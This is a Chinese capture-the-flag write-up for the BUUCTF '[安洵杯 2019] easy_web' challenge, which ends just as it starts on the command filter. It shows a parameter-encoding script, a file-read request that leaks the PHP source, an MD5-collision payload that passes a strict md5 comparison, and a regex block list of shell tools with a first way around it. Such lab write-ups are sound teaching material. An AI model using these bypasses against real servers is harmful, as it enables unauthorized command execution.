BUUCTF：[安洵杯 2019]easy_web-CFANZ编程社区

https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_web

BUUCTF：[安洵杯 2019]easy_web_f5

BUUCTF：[安洵杯 2019]easy_web_f5_02

TXpVek5UTTFNbVUzTURabE5qYz0经过base64decode->base64decode->hexdecode得到555.png

解码编码脚本或者自己利用在线工具编码也行

from binascii import *
from base64 import *

def decode(param):
    res = b64decode(b64decode(param))
    res = unhexlify(res)
    print(res.decode('utf8'))

def encode(param):
    res = hexlify(bytes(param.encode('utf8')))
    res = b64encode(b64encode(res))
    print(res.decode("utf8"))
    

if __name__ == "__main__":
    param = 'TXpVek5UTTFNbVUzTURabE5qYz0='
    decode(param)

查看源码，发现这里是将图片内容直接base64编码，猜测是base64_encode(file_get_content('55.png'))

BUUCTF：[安洵杯 2019]easy_web_php_03

把这里的555.png换成index.php，看看能不能读到源码，利用上面的脚本encode一下

/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

查看源码将base64数据提取出来解码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

读到了index.php，但是尝试读取非当前目录的文件时，无法读取，应该是限制了读取文件的目录，审计源码，发现了$cmd是可控制命令执行的，但是要绕过这里的两个判断

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

先看看如何满足下面这个

(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])

md5强比较，并且传入的参数会被转换成字符，那就需要找到两个不同的字符但是他们的md5值是相同的

搜索引擎找了下，参考以下这个：
https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value

随意参考其中一个例子即可

d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70

d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70

我们验证一下，将以上hex数据以字节流形式写入文件

from binascii import *

with open('md5-1.txt','r') as f:
    f = f.read()
    with open('md5-1','wb') as i:
        i.write(unhexlify(f))

with open('md5-2.txt','r') as f:
    f = f.read()
    with open('md5-2','wb') as i:
        i.write(unhexlify(f))

来看一下md5-1和md5-2的md5值

BUUCTF：[安洵杯 2019]easy_web_f5_04

两个不一样的文件，它们的md5值完全一样

BUUCTF：[安洵杯 2019]easy_web_php_05

将文件的十六进制字节流数据unhex解码一下，因为有不可显示字符，urlencode编码一下

from binascii import *
from urllib.parse import *

str1md5 = 'd131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70'
str2md5 = 'd131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70'

a = quote(unhexlify(str1md5))
b = quote(unhexlify(str2md5))
print('a={}&b={}'.format(a,b))

a=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C/%CA%B5%87%12F~%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW~%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap&b=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C/%CA%B5%07%12F~%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW~%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap

BUUCTF：[安洵杯 2019]easy_web_f5_06

成功绕过执行$cmd

接下来就是绕过命令执行过滤

preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)

ls被过滤了，可以使用dir绕过

BUUCTF：[安洵杯 2019]easy_web_5e_07